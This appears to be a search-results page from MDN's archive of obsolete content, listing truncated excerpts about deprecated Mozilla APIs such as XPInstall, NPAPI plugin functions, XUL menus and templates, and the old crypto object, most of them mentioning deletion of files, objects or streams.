eprecatedthis feature has been removed from the web standards. though some browsers may still support it, it is in the process of being dropped. avoid using it and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. be aware that this feature may cease to work at any time. warning: the features mentioned in this article are deleted proprietary mozilla extensions, and are not supported in any other browser. they won't work in firefox 34 or later. use <keygen> or the future web crypto api instead. rfc 4211, the internet x.509 public key infrastructure certificate request message format (crmf), defines a certreqmessage. the object returned by generatecrmfrequest() contains one of those. ...
generateCRMFRequest() - Archive of obsolete content
eprecatedthis feature has been removed from the web standards. though some browsers may still support it, it is in the process of being dropped. avoid using it and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. be aware that this feature may cease to work at any time. warning: the features mentioned in this article are deleted proprietary mozilla extensions, and are not supported in any other browser. they won't work in firefox 34 or later. use <keygen> or the future web crypto api instead. crmfobject = crypto.generatecrmfrequest("requesteddn", "regtoken", "authenticator", "escrowauthoritycert", "crmf generation done code", keysize1, "key...
importUserCertificates - Archive of obsolete content
eprecatedthis feature has been removed from the web standards. though some browsers may still support it, it is in the process of being dropped. avoid using it and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. be aware that this feature may cease to work at any time. warning: the features mentioned in this article are deleted proprietary mozilla extensions, and are not supported in any other browser. they won't work in firefox 34 or later. use <keygen> or the future web crypto api instead. resultstring = crypto.importusercertificates("nicknamestring","certstring",forcebackup); argument description "nicknamestring" this is the nickname that will be used to describe the certifi...
popChallengeResponse - Archive of obsolete content
eprecatedthis feature has been removed from the web standards. though some browsers may still support it, it is in the process of being dropped. avoid using it and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. be aware that this feature may cease to work at any time. warning: the features mentioned in this article are deleted proprietary mozilla extensions, and are not supported in any other browser. they won't work in firefox 34 or later. use <keygen> or the future web crypto api instead. resultstring = crypto.popchallengeresponse("challengestring"); argument description "challengestring" a base-64 encoded cmmf popodeckeychallcontent message. the current implementation does not conform to t...
Migrate apps from Internet Explorer to Mozilla - Archive of obsolete content
g blue</font> internet explorer: <font color="blue">big blue</font> below is a list of commands that execcommand in mozilla supports: table 6. rich text editing commands command name description argument bold toggles the selection's bold attribute. --- createlink generates an html link from the selected text. the url to use for the link delete deletes the selection. --- fontname changes the font used in the selected text. the font name to use (arial, for example) fontsize changes the font size used in the selected text. the font size to use fontcolor changes the font color used in the selected text. the color to use indent indents the block where the caret is. --- ...
Reading textual data - Archive of obsolete content
g from is: var str = {}; var numchars = is.readstring(4096, str); if (numchars != 0 /* eof */) var read_string = str.value; to read the entire stream and do something with the data: var str = {}; while (is.readstring(4096, str) != 0) { processdata(str.value); } don't forget to close the stream when you're done with it (is.close()). not doing so can cause problems if you try to rename or delete the file at a later time on some platforms. note that you may get less characters than you asked for, especially (but not only) at the end of the file (stream). unsupported byte sequences you can specify what should happen with byte sequences that do not correspond to a valid character. the last (4th) argument to init specifies which character they get replaced with; nsiconverterinputstream.de...
Rsyncing the CVS Repository - Archive of obsolete content
optionally, the --progress option will show the progress for each file, and a percentage of the total files that are transferred. at the time of this writing, this will take 2.8 gb of disk space. ...
Abc Assembler Tests - Archive of obsolete content
e applicable instead * of those above. if you wish to allow use of your version of this file only * under the terms of either the gpl or the lgpl, and not to allow others to * use your version of this file under the terms of the mpl, indicate your * decision by deleting the provisions above and replace them with the notice * and other provisions required by the gpl or the lgpl. if you do not delete * the provisions above, a recipient may use your version of this file under * the terms of any one of the mpl, the gpl or the lgpl. * * ***** end license block ***** */ function main() { getlocal0 pushscope findproperty start pushstring "instructions that start with the letter l" callpropvoid start 1 newfunction .function_id(runtest) getlocal0 call 0 findp...
Tamarin Acceptance Test Template - Archive of obsolete content
e applicable instead * of those above. if you wish to allow use of your version of this file only * under the terms of either the gpl or the lgpl, and not to allow others to * use your version of this file under the terms of the mpl, indicate your * decision by deleting the provisions above and replace them with the notice * and other provisions required by the gpl or the lgpl. if you do not delete * the provisions above, a recipient may use your version of this file under * the terms of any one of the mpl, the gpl or the lgpl. * * ***** end license block ***** */ var section = "test"; // provide a document reference (ie, actionscript section) var version = "as3"; // version of ecmascript or actionscript var title = "test"; // provide ecma section title or a descri...
Actionscript Acceptance Tests - Archive of obsolete content
estcase is matched line by line to the .out file and any difference is considered a failure. may be used in conjunction with a .exitcode file. testname.abc_ for special cases where the .as source is not available (e.g. fuzzed files) it is possible to check in a .abc_ which will let the test harness run compiled files without source. the underscore is necessary otherwise the buildbot system will delete the .abc before starting up a testrun (not an issue when running locally, but makes it easy to differentiate between binary-only abc files and generated abcs. support directories in some cases a test may require additional files to successfully run. there are two kinds of support directories available. files to be included when compiling the test: if a test requires additional .as files to be in...
Tamarin build documentation - Archive of obsolete content
ranch of tamarin the repository is based on, tamarin-central or tamarin-tracing. description: self explanatory check the status of the build @ http://tamarin-builds.mozilla.org/tamarin-redux/ , you can also see your build request in the queue at http://tamarin-builds.mozilla.org/build_trigger/requestbuild.cfm. if you no longer want you sandbox to build and it has not started yet, you can delete the build request from the queue from the request page. tryserver etiquette the sandbox is not a good substitute for running the regression tests locally to catch obvious problems. this is a shared resource, each request takes approximately 2+ hours to run so please use wisely. ...
Venkman Introduction - Archive of obsolete content
ew the local variables view is on the left portion of the window, at the bottom. when the debugger is stopped, the local variables view displays values for the current function. the scope object holds all arguments and local variables, and the this object holds the value of the this keyword. e enumerable property r read only property p permanent (cannot be deleted) a alias to another property a argument to a function v declared with var figure 8. property flags properties of both scope and this objects are listed alphabetically, grouped by data type. figure 9 shows which icons represent which data types. properties which are of the type object are displayed with the name of their constructor function in curly...
Using Breakpoints in Venkman - Archive of obsolete content
te the script that follows without stopping and without logging the result. these meta comments can be used to insert debug-only code in your scripts with zero impact on production code. to enable meta comments in a script, select "scan for meta comments" from the context menu of the file in the loaded scripts view. when you add a meta comment, a normal breakpoint is created. you can change or delete this breakpoint just as you would a breakpoint created by hand. resources venkman introduction—previous article on venkman. venkman's home page on devmo. original document information authors: robert ginda, ian oeschger published 02 may 2003 ...
Using XPInstall to Install Plugins - Archive of obsolete content
e, but wish to make the delivery of this native installer streamlined and within the browser's process, then you ought to consider wrapping it in an xpi package. from javascript, you can call xpinstall's execute method of the install object to execute the binary. you can also call the execute method of the file object if you wish to actually install the file you are executing, rather than have it deleted. you can pass command line parameters to the executable. an example of calling the execute method from the install object on an executable that has a temporary life span (and is not needed after one execution) is: // initialize the installation .... // initinstall(..... ) has already been called // using the install object's execute method to block on a native installer execute("setup.exe", ...
remove - Archive of obsolete content
method of file object syntax int remove( filespecobject file ) parameters the remove method has the following parameters: file a filespecobject representing the file to be removed. returns an integer error code. for a list of possible values, see return codes. ...
confirm - Archive of obsolete content
of parameters up to 8. previous gecko versions only support the first, one-parameter method and will throw an error on occuring the extended form. see the notes at the end of this document for a safe way to implement a fallback. atext the string to be displayed in the confirmation dialog. this string is typically in the form of a prompt for the user (e.g., "are you sure you want to delete the selected file(s)?"). adialogtitle the string to be used as the dialog title. defaults to "confirm" (or the localized equivalent). abuttonflags a set of flags defining the buttons that should appear in the dialog. the value is calculated by multiplying the corresponding button position constant with a button title constant for each button, then adding the result...
execute - Archive of obsolete content
ts the named file from the xpi file to a temporary file name. your code must call the performinstall method to actually execute the file. you can use this method to launch an installshield installer or any install executable file stored in a xpi file. executing installed files note: if the file you wish to execute is one you are installing (as opposed to an installer executable that you plan to delete once it runs), then use the execute method on the file object instead. file.execute() executes an installed file (such as a browser) after it has been installed, and is typically placed at the end of an install script and outside of the main install block. the install object's execute method, on the other hand, deletes the executable from its temporary location once it has finished. the optional...
Methods - Archive of obsolete content
ry unpacks an entire subdirectory. addfile unpacks a single file. alert displays an alert dialog box with a message and an ok button. cancelinstall aborts the installation of the software. confirm displays a confirm dialog box with the specified message and ok and cancel buttons. also allows custom button labels and a checkbox. deleteregisteredfile deletes the specified file and its entry in the client version registry. execute extracts a file from the xpi file to a temporary location and schedules it for later execution. gestalt retrieves information about the operating environment. (mac os only) getcomponentfolder returns an object representing the directory in which a compone...
Return Codes - Archive of obsolete content
a problem occurred with the parameters to initinstall, or initinstall was not called first silent_mode_denied -212 the silent installation privilege has not been granted. no_such_component -213 the specified component is not present in the client version registry. does_not_exist -214 the specified file cannot be deleted because it does not exist. read_only -215 the specified file cannot be deleted because its permissions are set to read only. is_directory -216 the specified file cannot be deleted because it is a directory. network_file_is_in_use -217 the specified file cannot be deleted because it is in use. appl...
writeString - Archive of obsolete content
value); parameters the method has the following parameters: section section in the file, such as "boot" or "drivers". key the key in that section whose value to change. value the new value. returns true if successfully scheduled, otherwise, false. description the writestring method is similar to the windows api function writeprivateprofilestring. to delete an existing value, supply null as the value parameter. unlike the writeprivateprofilestring function, this method does not support using a null key to delete an entire section. values are not actually written until performinstall is called. example to set the name of the wallpaper file from the desktop section of the win.ini file, use this call: ini = getwinprofile (getfolder("windows"), "win.i...
Methods - Archive of obsolete content
ow the use of the xpinstall api. the majority of this api is now deprecated and as of gecko 1.9 no longer available. extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest. in particular plugin developers should see how to package a plugin as an extension. methods createkey adds a key. deletekey removes a key. deletevalue removes the value of an arbitrary key. enumkeys retrieves the registry subkeys for the given key. enumvaluenames retrieves the value of a given subkey. getvalue retrieves the value of an arbitrary key. getvaluenumber retrieves the value of a key, when that value is an integer. getvalu...
XPJS Components Proposal - Archive of obsolete content
einstance method at will. the js module is free to implement factories and components and services that the factories construct on command. any code anywhere and implemented in any language can get to these things via the component and service managers. the xpjsmanager is loosely in charge of the lifetime of each xpjs module. javascript is garbage collected and one can not force an object to be deleted or the compiled code to be unloaded [except by deleting the jsruntime; i.e. erasing the entire js universe]. in c if a module gets unloaded when there are still references to objects created by the module then a crash is likely to happen soon after. js does not have this problem. if the xpjsmanager is asked to trim itself back (by whatever means) it will call the nscanunload method (if present) ...
Dynamically modifying XUL-based user interface - Archive of obsolete content
hat interacts with a xul (or html) document, you have already used dom calls. the most well known dom method is probably document.getelementbyid(), which returns an element, given its id. you may also have used other calls, such as element.setattribute(), or, if you wrote an extension, the addeventlistener() method. all of these are defined in dom. there are also dom methods that create, move, or delete elements from a document. they will be demonstrated in a later section. right now, let's learn what a document is. what is a document? a document is a data structure which is manipulated through dom apis. a logical structure of every document is a tree, with nodes being elements, attributes, processing instructions, comments, etc. use the dom inspector tool to see the tree representation of any...
IO - Archive of obsolete content
Archive › Mozilla › XUL › FileGuide › IO
a file. see getting file information for more details. reading from a file for information about reading from text and binary files, see reading from files. writing to a file for information about writing to text and binary files, see writing to files. copying and moving files files may be moved and copied on disk. for details, see copying a file and moving a file. deleting files to learn how to delete a file, see deleting a file. open and save dialogs you can show a dialog to the user to allow them to select a file to open or enter a filename for saving. for details about this, see open and save dialogs. file errors see file errors for a list of errors that might occur while using files. working with directories directories may be accessed in a similar manner using nsiscriptableio.getfile(). ...
Menus - Archive of obsolete content
endpagetodevice send page to device context-sendpage send page in an email context-viewbgimage views a background image context-undo undo editable text context-cut cuts to clipboard editable text context-copy copies to clipboard context-paste pastes from clipboard editable text context-delete deletes selection editable text context-selectall selects all context-searchselect selected text is searched context-viewpartialsource-selection views the selection source selection context-viewpartialsource-mathml views the mathml source mathml context-viewsource views the source context-viewinfo v...
MenuItems - Archive of obsolete content
he disabled property to true. to renable the item again, set the disabled property to false again. you may wish to change the disabled state in a popupshowing event handler. for more information about the popupshowing event, see the popupshowing event. if a menuitem is associated with a command, you can disable the menuitem by disabling the command instead. for instance, in the sample below, the delete command is disabled using the disabled attribute. <command id="cmd_delete" disabled="true" oncommand="alert('deleted!');"/> <menuitem label="delete" accesskey="f" command="cmd_deleted"/> as the menuitem is attached to the command, it's automatically disabled when the command is disabled. if the disabled state of the command is changed, the menuitem updates accordingly. this is an advantage whe...
MenuModification - Archive of obsolete content
ave a child menupopup. the appenditem method will create a menupopup element if it doesn't already exist. if the menu already has a menupopup, the new menuitem will be appended to this existing one. while the appenditem method always adds the new item to the end of the menu, the insertitemat method may be used in a similar fashion to insert an item into the menu elsewhere. menu.insertitemat(0, "delete", "delete"); in this example, the insertitemat method is used to insert a new 'delete' item at the beginning of the menu's popup. the first argument is the index where the new item should be inserted. in this case, 0 is supplied as the index, which means before the first item. indicies are counted starting at 0, so to insert an item before the fourth item pass 3 as the argument. the second and ...
Filtering - Archive of obsolete content
at a time, so we can just reuse the same triple for each filter. when removing the filter, we only need to remove the triple from the query. this example only adds one triple, but you could add others, or add <member> elements. whether a triple or member is added or removed, the template must be rebuilt by calling the rebuild method. this method will remove all of the existing generated content, delete all of the internal information pertaining to the results, and start again as if the template were just being examined for the first time. the template will be parsed again and the data examined for new results. you can view a complete example of this in action. a menulist is used to allow one to select either a specific country, or select all to show all of the photos. when a choice is made, the...
Template Builder Interface - Archive of obsolete content
y, although, as mentioned earlier, is will be set to null for most elements. for non-xul elements, the template builder will be assigned to a builder property on the element using a custom javascript property instead. rebuilding and refreshing a template the main purpose of accessing the builder for an element is to call its 'rebuild' method. this method removes any existing generated content and deletes all data in the rule network. then, the method recompiles the query and the rules and regenerates the content. essentially, the rebuild method instructs the builder to remove any existing information and reconstruct it from the beginning. the only difference is that the datasource has already loaded so the data will be the same. however, this is often used if you modify the datasource or modify ...
Complete - Archive of obsolete content
then you can add the command line switch by editing the icon's properties. the application's user interface only switches language if you have the appropriate language pack installed. but this extension switches between english and french without needing any language pack. some versions of firefox etc. have a bug that prevents this from working. to work around the bug, close the application, delete the file xul.mfl in its profile, then restart it with the command line switch. firefox etc. support specifying the language alone, without any region—for example, just: -uilocale fr seamonkey does not support this. themes a theme changes the appearance of the user interface, affecting fonts, colours, graphics, and sometimes layout. a theme consists of a skin for each component. this extensio...
Custom toolbar button - Archive of obsolete content
hoose view – toolbars – customize... from the application's menu bar. drag your new button to where you want it on the toolbar. press done to close the toolbar palette window. click the button to test it. you should see the pop-up message. further development this section describes how you can develop your button further. uninstalling the button if you ever want to uninstall the button, delete the directory that you created in step 2. alternatively, use the application's extensions window to uninstall the extension in the normal way. the application deletes the directory the next time it starts. restart the application. troubleshooting if the button does not appear in the toolbar customization palette, or if you find some other problem, check that you have followed all the steps ex...
Additional Install Features - Archive of obsolete content
e more elaborate processing during the installation. for example, you may want to install a package only when certain conditions are met, such as having a particular library installed. in addition to the install object, a file object is also available during an installation script. it provides some functions which can be used to examine and modify files on disk. you can use these to move, copy or delete files before or after the files are installed. for example, you might want to make a backup of some files first. the following code will make a copy of the file "/bin/grep" and put it in the directory "/main". var binfolder = getfolder("file:///","bin"); var grep = getfolder(binfolder, "grep"); var mainfolder = getfolder("file:///", "main"); file.copy(grep, mainfolder); the first line will...
Box Objects - Archive of obsolete content
ex layouts than the basic box, while others such as the button are used only to add extra mouse and key event handling. the layout object associated with an element can be removed and a completely different type of object created just by changing the css display property, among others. for example changing the display property of a button element to block will cause the button layout object to be deleted and a block object to be created instead. naturally, this will change the appearance and function of the element. it isn't necessary to know the details of how the layout objects are constructed but it is quite useful to at least have at least the knowledge of what is described above of xul layout for more advanced xul development. box objects the layout objects are not accessible to the develop...
Broadcasters and Observers - Archive of obsolete content
ute forwarding of commands to accomplish this. broadcasters there is a similar element called a broadcaster. broadcasters support attribute forwarding in the same way that commands do. they work the same as commands except that a command is used for actions, while a broadcaster is instead used for holding state information. for example, a command would be used for an action such as back, cut or delete. a broadcaster would be used to hold, for instance, a flag to indicate whether the user was online or not. in the former case, menu items and toolbar buttons would need to be disabled when there was no page to go back to, or no text to cut or delete. in the latter case, various user interface elements might need to update when the user switches from offline mode to online mode. the simplest broa...
Install Scripts - Archive of obsolete content
contains a number of functions to customize the install process. some of the install object's functions will be described below. the install script should take the following steps: initialize the installation by specifying what package and version is being installed. use the install functions to indicate what files and directories need to be installed. you can also set files to be moved and deleted. start the process of installing the necessary files. it is important to note that during step two, you only indicate which files should be installed and any other operations you wish to have happen. no files get copied until step three. because of this, you can easily specify a number of files to be installed, come across some kind of error, and abort the whole process without modifying the ...
Keyboard Shortcuts - Archive of obsolete content
ys is listed below. not all of the keys are available on all keyboards. ...
Property Files - Archive of obsolete content
from a script, if, for example, you do not know the exact text to be displayed. for this purpose, property files can be used. a property file contains a set of strings. you will find property files alongside the dtd files with a .properties extension. properties in the file are declared with the syntax name=value. an example is shown below: notfoundalert=no files were found matching the criteria. deletealert=click ok to have all your files deleted. resultmessage=%2$s files found in the %1$s directory. here, the property file contains three properties. these would be read by a script and displayed to the user. a property file can also include comments. a line that begins with a hash sign ('#') is treated as a comment: # this is a comment welcomemessage=hello, world! # this is another comment goo...
textbox - Archive of obsolete content
r or margin. notes the maxlength attribute does not work when in multiline mode. a workaround using javascript and the onkeypress event handler as shown in abstract below may be your solution. ...
CommandLine - Archive of obsolete content
cld_category, contract_id, true, true); }, unregisterself : function mod_unreg(acompmgr, alocation, atype) { var compreg = acompmgr.queryinterface(nsicomponentregistrar); compreg.unregisterfactorylocation(class_id, alocation); var catman = components.classes["@mozilla.org/categorymanager;1"] .getservice(nsicategorymanager); catman.deletecategoryentry("command-line-handler", cld_category); }, canunload : function (acompmgr) { return true; } }; function nsgetmodule(acompmgr, afilespec) { return apphandlermodule; } create an observer that will get notified when arguments change: chrome/content/cmdline.js function commandlineobserver() { this.register(); } commandlineobserver.prototype = { observe: function(asu...
Components - Archive of obsolete content
tensions, it must be directly in that directory, not a subdirectory. then you need to make sure that it gets registered. registration most initial problems with components are due to registration. for new components or interface changes of existing ones to be noticed at all, you need to change the buildid in application.ini to trigger a re-registration of the components. alternatively, you can delete compreg.dat and xpti.dat in the user profile directory - that of your xulrunner app, not that of firefox/mozilla. it's named after your vendor and app name in application.ini, e.g. linux: ~/.yourcompany/yourapp/oihizuf.default/ windows: %appdata%\yourcompany\yourapp\profiles\jhfdfdi.default\ ...
Archived Mozilla and build documentation - Archive of obsolete content
calicalendarview implementations are particularly well suited to xbl. there is, however, no practical obstacle to the interface being implemented by any javascript object associated with a group of dom nodes, even non-anonymous xul nodes. calicalendarviewcontroller a calicalendarviewcontroller provides a way for a calicalendarview to create, modify, and delete items. implementing a calicalendarviewcontroller allows for these actions to be performed in a manner consistent with the rest of the application in which the calicalendarview is included. califiletype the califiletype interface provides information about a specific file type. chromeless [this project may not be active — check github https://git...
2006-11-17 - Archive of obsolete content
ever you need review from, but don't post a formal review. steps for posting a formal review is provided also. how to access xyz.properties items more detail and code examples are provided in the posting. how to create top-level folders in inbox with an imap account on courier server. solution is provided by jay lee should there be an additional options for account configuration that just delete the messages from the server whenever they are deleted in tb? some discussion is posted. however, david bienvenu stated that the options already exist in tb 2.0, just that it is a hidden. code review requested for smtp swticher no comment is made. meetings calendar project weekly status meeting - 2006/11/15 17:00 utc (meeting notes) calendar project weekly qa chat - 2006/11/02 16:30 u...
2006-10-06 - Archive of obsolete content
lelistener.idl gmake[2]: *** [_xpidlgen/nsiconsolelistener.h] bus error gmake[2]: *** deleting file `_xpidlgen/nsiconsolelistener.h' gmake[1]: *** [export] error 2 make: *** [all] error 2:: on octorber 4th ludwig hügelschäfer responded to his original post with the solution to his own problem. he found out that a broken host_xpidl was the source of the problem. in order to fix this he deleted the tree part where host_xpidl was located. he then was able to successfully build thunderbird. ludwig hügelschäfer response to the posting. announcements new svg build dependency coming on october 2nd t rowley announced that: soon svg on the trunk will be switching to use thebes directly (instead of the current choice of direct cairo or punching a hole through thebes to cairo). on...
2006-10-27 - Archive of obsolete content
because it has been failing since october 22 at around 5:45 pm pdt. gavin responded to tony's posting saying that the log file shows a "no space left on device" error when trying to link the final executable. on the same day tony replied to gavin's posting stating the possible choices to solve the problem. these were the following choices stated: search the filesystem for unneeded files delete or archive them, add a hard disk, move all or part of the concerned filesystem there move that tinderbox to a different machine with more empty disk space on october 23rd: nick responded to gavin and tony's posting. nick stated that the build engineers knew that there was a problem with the tinderbox and that they would be solving the problem by adding a hard disk, and moving all or part o...
2006-12-01 - Archive of obsolete content
sically a java classloader that creates classes from javascript files. server side spidermonkey juicescript is an open source version of a server side javascript. it supports a apache2 module and stand alone version. http://www.juicescript.org/ discussions deleting objects in spidermonkey a user asks if there's a method of manually deleting an object in spidermonkey before garbage collector deletes it. peter wilson's reply was to add a method that does the deleting with a native implementation that releases the resources held by the object as seen in this database interface: var mydbase = new pgsqlconnection; mydbase.connect("database"); mydbase.exec("select * from mytable where ..."); // use the result data - (native implementation function) mydbase.close() spidermonkey for server sid...
NPAPI plugin developer guide - Archive of obsolete content
ins windowless plug-ins specifying that a plug-in is windowless invalidating the drawing area forcing a paint message making a plug-in opaque making a plug-in transparent creating pop-up menus and dialog boxes event handling for windowless plug-ins streams receiving a stream telling the plug-in when a stream is created telling the plug-in when a stream is deleted finding out how much data the plug-in can accept writing the stream to the plug-in sending the stream in random-access mode sending the stream in file mode sending a stream creating a stream pushing data into the stream deleting the stream example of sending a stream urls getting urls getting the url and displaying the page posting urls posting data to an http se...
NPN_GetURLNotify - Archive of obsolete content
arget is non-null, the browser calls npp_urlnotify() after it has finished loading the url. if the target is null, the browser calls npp_urlnotify() after closing the stream by calling npn_destroystream(). if this function is called with a target parameter value of _self or a parent to _self, this function should return nperr_invalid_param. this is the only way to notify the plug-in once it is deleted. warning: in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1), npn_geturlnotify() does not notify the plug-in if notifydata is null. see bug 638367 for details. see also npn_geturl() npn_posturl() npn_posturlnotify() npp_urlnotify() npp ...
NPN_PostURL - Archive of obsolete content
url url of the request, specified by the plug-in. target display target, specified by the plug-in. if null, pass the new stream back to the current plug-in instance regardless of mime type. for values, see npn_geturl. len length of the buffer buf. buf path to local temporary file or data buffer that contains the data to post. temporary file is deleted after use. data in buffer cannot be posted for a protocol that requires a header. file a boolean value that specifies whether to post a file. values: true: post the file whose path is specified in buf, then delete the file. false: post the raw data in buf. returns if successful, the function returns nperr_no_error. if unsuccessful, the plug-in is not ...
NPN_RemoveProperty - Archive of obsolete content
...
NPN_Write - Archive of obsolete content
done. note: you should actually handle errors, which this example doesn't do. npstream* stream; char* mydata = "<html><b>this is a message from my plug-in!</b></html>"; int32 mylength = strlen(mydata) + 1; /* create the stream. */ err = npn_newstream(instance, "text/html", "_blank", &stream) /* push data into the stream. */ err = npn_write(instance, stream, mylength, mydata); /* delete the stream. */ err = npn_destroystream(instance, stream, npres_done); see also npp_newstream() npp_destroystream() npp_read() npstream npp ...
NPP - Archive of obsolete content
plug-in. description gecko creates an npp structure for each plug-in instance and passes a pointer to it to npp_new(). this pointer--which is an opaque instance handle of a plug-in--identifies the instance on which api calls should operate. npp contains private instance data for both the plug-in and the browser. the npp_destroy() function informs the plug-in when the npp instance is about to be deleted; after this call returns, the npp pointer is no longer valid. see also npp_new() npp_destroy() ...
NPP_DestroyStream - Archive of obsolete content
r other problems. returns if successful, the plug-in should return nperr_no_error. if unsuccessful, the plug-in should return an error code. for possible values, see error codes. description the browser calls the npp_destroystream function when a data stream sent to the plug-in is finished, either because it has completed successfully or terminated abnormally. after this, the browser deletes the npstream object. you should delete any private data allocated in stream->pdata at this time, and should not make any further references to the stream object. see also npp_newstream, npstream ...
NPP_Write - Archive of obsolete content
the current stream. offset offset in bytes of buf from the beginning of the data in the stream. can be used to check stream progress or by range requests from npn_requestread. len length in bytes of buf; number of bytes accepted. buf buffer of data, delivered by the stream, that contains len bytes of data offset bytes from the start of the stream. the buffer is allocated by the browser and is deleted after returning from the function, so the plug-in should make a copy of the data it needs to keep. returns the plug-in should return the number of bytes written (consumed by the instance). if the return value is smaller than the size of the buffer, the browser sends the remaining data to the plug-in through subsequent calls to npp_writeready and npp_write. if unsuccessful, the function signals...
NPSavedData - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary block of instance information saved after the plug-in instance is deleted; can be returned to the plug-in to restore the data in future instances of the plug-in. syntax typedef struct _npsaveddata { int32 len; void* buf; } npsaveddata; fields the data structure has the following fields: len length in bytes of the buffer pointed to by buf; set by the plug-in. buf pointer to a memory buffer allocated by the plug-in with npn_memalloc(). can be any reasonable size; its contents are private to the plug-in and are not modified by the browser. description the npsaveddata object contains a block of per-instance information that the browser saves after the instance is deleted. this information can be returned to another ins...
NP_Initialize - Archive of obsolete content
ription the browser calls this function only once: when a plug-in is loaded, before the first instance is created. this is the first function that the browser calls. np_initialize tells the plug-in that the browser has loaded it and provides global initialization. allocate any memory or resources shared by all instances of your plug-in at this time. after the last instance of a plug-in has been deleted, the browser calls np_shutdown, where you can release allocated memory or resources. see also np_shutdown, npp_new ...
NP_Shutdown - Archive of obsolete content
...
Why RSS Slash is Popular - Counting Your Comments - Archive of obsolete content
ss does not currently provide facilities for this either). some use the well-formed web rss module for this. and some are now using atomic rss for this. (using either of these 2 rss modules is out of the scope of this article.) in reality, an item's comments count could change at any given time. people can (potentially) post new comments to an item at any given time. and (spam) comments could get deleted. and thus the comments count that the <slash:comments> element provides is only a snapshot; it was only the comment count at a moment in time. one of the shortcomings of the <slash:comments> element is that does not tell you what that moment in time was. one could assume that the comment count was acurate at the moment in time specified in the <channel>'s <lastbuilddate> element, but that is a r...
Introduction to SSL - Archive of obsolete content
rogue program's public key or private key, rather than the client's or server's real keys. the rogue program ends up establishing one set of session keys for use with the real server, and a different sent of session keys for use with the client. this allows the rogue program not only to read all the data that flows between the client and the real server, but also to change the data without being deleted. therefore, it is extremely important for the client to check that the domain name in the server certificate corresponds to the domain name of the server with which a client is attempting to communicate-in addition to checking the validity of the certificate by performing the other steps described in server authentication. client authentication ssl-enabled servers can be configured to require ...
Building a Theme - Archive of obsolete content
now upload the .xpi file to your server, making sure it's served as application/x-xpinstall. you can link to it and allow people to download and install it. for the purposes of just testing our .xpi file we can just drag it into the add-ons manager via "tools -> add-ons manager", or open it using "file -> ope...
Common Firefox theme issues and solutions - Archive of obsolete content
nd-icon.png tabview/tabview.png places/toolbar.png linux linux select box fields are showing both drop arrow and spinner arrows on linux: the styling of drop down select box fields may show both a drop arrow and up/down spinner arrows. the problem is commonly caused by a -moz-appearance:menulist style rule in chrome://global/skin/menulist.css. once the offending rule is found, it should be deleted and manual styling used. app button not styled on linux, but is styled on windows on linux the firefox app button that is displayed when tabs are on top and menu bar is disabled is not styled properly compared to windows and is not changing colors when in private browsing mode. the cause of this issue is that linux firefox uses a different id for the firefox button from windows. the fix is to ...
Theme changes in Firefox 2 - Archive of obsolete content
this article covers the changes that need to be made to update a firefox theme to work properly in firefox 2. note: we could use an article called updating themes for firefox 2 that would serve as a how-to guide for updating themes. if anyone with theming experience would like to write one, please do! browser changes requiring theme updates there are a number of changed and deleted files in the browser that may require you to make changes to your theme. the table lists both the changed xul file and the theme's corresponding css file that you might need to update. filename css file details browser/base/searchdialog.xul browser/base/content/searchdialog.css removed from firefox 2. feeds/addfeedreader.xul feeds/addfeedreader.css new file that pre...
Theme changes in Firefox 3 - Archive of obsolete content
this article covers the changes that need to be made to update a firefox theme to work properly in firefox 3. note: we could use an article called updating themes for firefox 3 that would serve as a how-to guide for updating themes. if anyone with theming experience would like to write one, please do! browser changes requiring theme updates there are a number of changed and deleted files in the browser that may require you to make changes to your theme. the table lists both the changed xul file and the theme's corresponding css file that you might need to update. filename css file details changes to the default theme the table below lists changes made in the default theme for firefox 3; you can use this information as a starting point for figu...
Using IO Timeout And Interrupt On NT - Archive of obsolete content
rupt()</tt> call. in this case, the error is <tt>pr_pending_interrupt_error</tt>. these two errors are generated by the nspr layer, so the os is oblivious of what is going on and the overlapped io request is still in progress. the os still has a pointer to the overlapped buffer in the thread's <tt>prthread</tt> structure. if the thread subsequently exists and its <tt>prthread</tt> structure gets deleted, the pointer to the overlapped buffer will be pointing to freed memory. this is problematic. canceling overlapped io by closing the file descriptor therefore, we need to cancel the outstanding overlapped io request before the thread exits. nt's <tt>cancelio()</tt> function would be ideal for this purpose. unfortunately, <tt>cancelio()</tt> is not available on nt 3.51. so we can't go this rout...
Using the W3C DOM - Archive of obsolete content
dom-compliant browsers. ...
Accessing XML children - Archive of obsolete content
non-xml value to a child element that doesn't exist will create that element. var element1 = <foo/> element1.bar = 1; produces <foo> <bar>1</bar> </foo> if the child node already exists, the . operator allows you to change its value. var elem = <foo> <bar>1</bar> </foo> elem.bar = 2; will replace the previous value of 1 with 2. you can remove a child node by using the delete command: var elem = <foo> <bar/> <baz/> </foo> delete elem.bar; leaves just <foo> <baz/> </foo> the . operator can also be used to replace particular child nodes var elem1 = <foo> <bar/> </foo>; var elem2 = <red> <blue/> </red>; elem1.bar = elem2; replaces the <bar/> element with all of the conten...
New in JavaScript 1.2 - Archive of obsolete content
n (inspired by list literal syntax from python 1.x). arguments new properties function.arity new methods array.prototype.concat() array.prototype.slice() string.prototype.charcodeat() string.prototype.concat() string.fromcharcode() string.prototype.match() string.prototype.replace() string.prototype.search() string.prototype.slice() string.prototype.substr() new operators delete equality operators (== and !=) new statements labeled statements switch do...while import export other new features regular expressions signed scripts changed functionality in javascript 1.2 you can now nest functions within functions. number now converts a specified object to a number. number now produces nan rather than an error if x is a string that does not contain a we...
New in JavaScript 1.8.5 - Archive of obsolete content
determines if extending of an object is allowed. bug 492849 object.seal() prevents other code from deleting properties of an object. bug 492845 object.issealed() determines if an object is sealed. bug 492845 object.freeze() freezes an object: other code can't delete or change any properties. bug 492844 object.isfrozen() determines if an object was frozen. bug 492844 array.isarray() checks if a variable is an array. bug 510537 date.prototype.tojson() returns a json format string for a date object. ...
Object.prototype.__noSuchMethod__ - Archive of obsolete content
